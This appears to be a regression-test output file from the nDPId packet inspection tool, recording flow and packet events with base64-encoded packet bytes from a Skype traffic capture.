+00449{"flow_id":241,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1462,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":347281,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA81axAAEAG4m\/AqAEiBfi63chaeSLm2Z7HnfKa24AYECiVrgAAAQEICj4yV3UAAJTxinTTcj1jiGY="} +00481{"flow_id":222,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1468,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":417497,"pkt_caplen":99,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":99,"pkt_l4_len":65,"pkt":"0NQSxnP1PBXCt3IOCABFAABVYx5AAEAGjObAqAEinTfrnMhRAbsdDAEeNXDb94AZECxNwgAAAQEICj4yV7pMXOVgRJ52DFIu7cAK7Gpc8dNzIO4YY2vVOHQu5N+2IqCrL00y"} +00492{"flow_id":221,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1469,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":417499,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"0NQSxnP1PBXCt3IOCABFAABai7JAAEAGZFfAqAEinTfrkshQAbtIMwmq6zPtWYAZECxt+AAAAQEICj4yV7pMYODx4TzV3\/Y4WDPH3tpvaLZcP8pol15k+DSkUSs81WKefnkA99PxSe0="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1471,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":244,"flow_packet_id":1,"flow_first_seen":1431970688560,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"81.83.77.141","src_port":51291,"dst_port":17639,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":244,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1471,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":560737,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABALZlAAEAGrHTAqAEiUVNNjchbROcBp2a0AAAAALAC\/\/\/KOQAAAgQFtAEDAwUBAQgKPjJYSAAAAAAEAgAA"} +00448{"flow_id":244,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1486,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":626729,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8CBlAAHQGnfhRU02NwKgBIkTnyFsYw7jOAadmtaASIADTOAAAAgQFrAEDAwgEAggKALwVrD4yWEg="} +00436{"flow_id":244,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1487,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":626849,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0NhhAAEAGpAHAqAEiUVNNjchbROcBp2a1GMO4z4AQECwRkQAAAQEICj4yWIkAvBWs"} +00578{"flow_id":244,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1488,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":627408,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"0NQSxnP1PBXCt3IOCABFAACaF\/pAAEAGwbnAqAEiUVNNjchbROcBp2a1GMO4z4AYECx7dgAAAQEICj4yWIkAvBWsUBsMZVaFEmWpec3YOaz3apvGrACEaHflCEqfZV4zNVWBLI8SJxuhPyp2nhbsF5oIkMH+15xd6tNouZaP9NUCC0CxLkdMTRpDGKnG\/6TFMnvwoV63\/D1Ks8iZ9m9UtWLroJGOJ6wt"} +00537{"flow_id":244,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1489,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":720791,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"PBXCt3IO0NQSxnP1CABFAAB6CBpAAHQGnblRU02NwKgBIkTnyFsYw7jPAadnG4AYAQJ4AQAAAQEICgC8FbU+MliJ8y+WiiMWk+rxA++uleX3d3qQzoYwWYU6TExH7yqfoCHp9Ru\/tJhVTD8G0rb8kSYVwDGux8zNmsOYKUZ\/JEWy+3Ah3jd8vQ=="} +00436{"flow_id":244,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1490,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":720875,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0wwVAAEAGFxTAqAEiUVNNjchbROcBp2cbGMO5FYAQECkQgQAAAQEICj4yWOcAvBW1"} +00449{"flow_id":244,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1491,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":721426,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8vqJAAEAGG2\/AqAEiUVNNjchbROcBp2cbGMO5FYAYECk9gQAAAQEICj4yWOcAvBW1LtP9fnVyMSs="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1492,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":245,"flow_packet_id":1,"flow_first_seen":1431970688781,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"71.238.7.203","src_port":51292,"dst_port":18767,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":245,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1492,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":781923,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAwP5AAEAGaDbAqAEiR+4Hy8hcSU\/pBV4yAAAAALAC\/\/81QAAAAgQFtAEDAwUBAQgKPjJZIwAAAAAEAgAA"} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1493,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":246,"flow_packet_id":1,"flow_first_seen":1431970688782,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"5.248.186.221","src_port":51293,"dst_port":31010,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":246,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1493,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":782103,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAUvJAAEAGZSbAqAEiBfi63chdeSKNyxjDAAAAALAC\/\/80+QAAAgQFtAEDAwUBAQgKPjJZIwAAAAAEAgAA"} +00443{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1494,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":837836,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6Sy4AAEARrBHAqAEiwKgBAfgaADUAJptGWcsBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00452{"flow_id":246,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1496,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":888547,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"PBXCt3IO0NQSxnP1CABFAABA75tAAHIGlnwF+LrdwKgBInkiyF33HT2hjcsYxLASRBBSegAAAgQFrAEDAwABAQgKAAAAAAAAAAABAQQC"} +00437{"flow_id":246,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1497,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":888672,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0TDBAAEAGa\/TAqAEiBfi63chdeSKNyxjE9x09ooAQECwvYwAAAQEICj4yWYwAAAAA"} +00487{"flow_id":246,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1498,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":888797,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"0NQSxnP1PBXCt3IOCABFAABXe1dAAEAGPKrAqAEiBfi63chdeSKNyxjE9x09ooAYECwD2AAAAQEICj4yWYwAAAAA7Z1+CcSySZR1q6DIx\/dpF82xZ3FwyfnvuLBsbf+ufJqSqZY="} +00477{"flow_id":246,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1506,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":993414,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"PBXCt3IO0NQSxnP1CABFAABR76RAAHIGlmIF+LrdwKgBInkiyF33HT2ijcsY54AYQ+3sVQAAAQEICgAAlP0+MlmMgQJHsoL6yOqkz3msTKIaAuk0k7LEZn\/ldbdLYF4="} +00436{"flow_id":246,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1507,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":993517,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0SFdAAEAGb83AqAEiBfi63chdeSKNyxjn9x09v4AQECuZwQAAAQEICj4yWfEAAJT9"} +00436{"flow_id":241,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1508,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":993746,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0J+BAAEAGkETAqAEiBfi63chaeSLm2Z7PnfKa24ARECi26gAAAQEICj4yWfEAAJTx"} +00461{"flow_id":246,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1509,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":993882,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"0NQSxnP1PBXCt3IOCABFAABF499AAEAG1DPAqAEiBfi63chdeSKNyxjn9x09v4AYECsz8gAAAQEICj4yWfEAAJT9pX115QWGYLmnIVWi7\/6xUEY="} +00454{"flow_id":245,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1510,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":998558,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"PBXCt3IO0NQSxnP1CABFAABArvNAAHMGR0FH7gfLwKgBIklPyFwwtyOw6QVeM7AS\/\/93KQAAAgQFrAEDAwABAQgKAAAAAAAAAAABAQQC"} +00437{"flow_id":245,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1511,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":998634,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0ublAAEAGb4fAqAEiR+4Hy8hcSU\/pBV4zMLcjsYAQECwPmAAAAQEICj4yWfYAAAAA"} +00541{"flow_id":245,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1512,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970688,"pkt_ts_usec":998753,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"0NQSxnP1PBXCt3IOCABFAAB9Ee5AAEAGFwrAqAEiR+4Hy8hcSU\/pBV4zMLcjsYAYECwcOgAAAQEICj4yWfYAAAAAl2UigK1go6J0fzX63ObckiQu+SS2ojXvRxdFqTBRTdLTz9PaBeV54JkfKQPpe53yUrkUv80ZxigWk69Hw4O\/lZbh7yi1n8YLuQ=="} +00449{"flow_id":241,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1513,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":75355,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA81QxAAEAG4w\/AqAEiBfi63chaeSLm2Z7HnfKa24AZECiS4AAAAQEICj4yWkIAAJTxinTTcj1jiGY="} +00457{"flow_id":246,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1514,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":102797,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"PBXCt3IO0NQSxnP1CABFAABC76ZAAHIGlm8F+LrdwKgBInkiyF33HT2\/jcsY+IAYQ9wH+AAAAQEICgAAlP4+MlnxPpdHkWAKTJErc5D9brs="} +00437{"flow_id":246,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1515,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":102917,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0aqVAAEAGTX\/AqAEiBfi63chdeSKNyxj49x09zYAQECqZNgAAAQEICj4yWl0AAJT+"} +00448{"flow_id":244,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1516,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":124512,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8Gw5AAEAGvwPAqAEiUVNNjchbROcBp2cbGMO5FYAYECk79gAAAQEICj4yWnIAvBW1LtP9fnVyMSs="} +00457{"flow_id":246,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1518,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":205465,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"PBXCt3IO0NQSxnP1CABFAABC77pAAHIGllsF+LrdwKgBInkiyF33HT3NjcsY+IAYQ9wulgAAAQEICgAAlP8+MlpdxiwNYOAB461LSc5KhgY="} +00439{"flow_id":246,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1519,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":205583,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA05WRAAEAG0r\/AqAEiBfi63chdeSKNyxj49x0924AQECqYwwAAAQEICj4yWsEAAJT\/"} +00446{"flow_id":246,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1520,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":205684,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4TfJAAEAGai7AqAEiBfi63chdeSKNyxj49x0924AYECqHFAAAAQEICj4yWsEAAJT\/T0vCVw=="} +00524{"flow_id":245,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1521,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":220161,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"PBXCt3IO0NQSxnP1CABFAAByrvhAAHMGRwpH7gfLwKgBIklPyFwwtyOx6QVefIAY\/7YJfwAAAQEICgMcyY8+Mln2fAC0H1wN\/7y3XsOO3lAHSi0nJ549WUICQ4MyIEfV+wot8nQofm8JSIA3972RbVxCOucaJDxLAQHjiBqWsE0="} +00437{"flow_id":245,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1522,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":220266,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0DLpAAEAGHIfAqAEiR+4Hy8hcSU\/pBV58MLcj74AQECpBjgAAAQEICj4yWs8DHMmP"} +00436{"flow_id":240,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1523,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":220560,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0R6RAAEAG4ZzAqAEiR+4Hy8hZSU+QnysY5ZyWQIARECqmLgAAAQEICj4yWs8DHMmE"} +00462{"flow_id":245,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1524,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":220691,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"0NQSxnP1PBXCt3IOCABFAABFs1JAAEAGdd3AqAEiR+4Hy8hcSU\/pBV58MLcj74AYECoc\/gAAAQEICj4yWs8DHMmPVb4882ZfkSy7WLAZF8HHBVA="} +00449{"flow_id":121,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1528,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":347058,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8uu9AAEAGZljAqAEiQAQXpsgznF2bjnl5scFgjYAZECl+2QAAAQEICj4yW0xMQvGckklqarCuvYw="} +00449{"flow_id":240,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1529,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":373231,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8wu9AAEAGZknAqAEiR+4Hy8hZSU+QnysQ5ZyWQIAZECp4\/gAAAQEICj4yW2YDHMmEsUo9bapdk3s="} +00458{"flow_id":245,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1530,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":433907,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"PBXCt3IO0NQSxnP1CABFAABCrvlAAHMGRzlH7gfLwKgBIklPyFwwtyPv6QVejYAY\/6V\/ugAAAQEICgMcyZI+MlrP3PHMd9p5LlcZVo13eSU="} +00438{"flow_id":245,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1531,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":434028,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA06zRAAEAGPgzAqAEiR+4Hy8hcSU\/pBV6NMLcj\/YAQEClAmgAAAQEICj4yW6IDHMmS"} +00438{"flow_id":246,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1532,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":477240,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA078VAAHIGll4F+LrdwKgBInkiyF33HT3bjcsY\/IAQQ9hlDgAAAQEICgAAlQI+MlrB"} +00505{"flow_id":223,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1533,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":515643,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"0NQSxnP1PBXCt3IOCABFAABkUPhAAEAG0C7AqAEiQAQXn8hSAbvNFjuOa1gmPIAZECyP2gAAAQEICj4yW\/JMR9pGOm9QiCGp0cwW6vp4r5Dn8\/7YY8lRGP7REcP1BqFDpRTD4qb3sZ4E9ti6rTGePCt6"} +00458{"flow_id":245,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1537,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":648519,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"PBXCt3IO0NQSxnP1CABFAABCrvxAAHMGRzZH7gfLwKgBIklPyFwwtyP96QVejYAY\/6U7JQAAAQEICgMcyZQ+MluitTxtVIkexevUyA+Ov+0="} +00439{"flow_id":245,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1538,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":648609,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0cEpAAEAGuPbAqAEiR+4Hy8hcSU\/pBV6NMLckC4AQECk\/tgAAAQEICj4yXHYDHMmU"} +00446{"flow_id":245,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1539,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":648701,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4yeNAAEAGX1nAqAEiR+4Hy8hcSU\/pBV6NMLckC4AYECn+DQAAAQEICj4yXHYDHMmUFOwssA=="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1540,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":247,"flow_packet_id":1,"flow_first_seen":1431970689672,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"81.83.77.141","src_port":51294,"dst_port":17639,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":247,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1540,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970689,"pkt_ts_usec":672643,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA2ypAAEAG\/uLAqAEiUVNNjcheROdnq4JVAAAAALAC\/\/9ETAAAAgQFtAEDAwUBAQgKPjJcjQAAAAAEAgAA"} 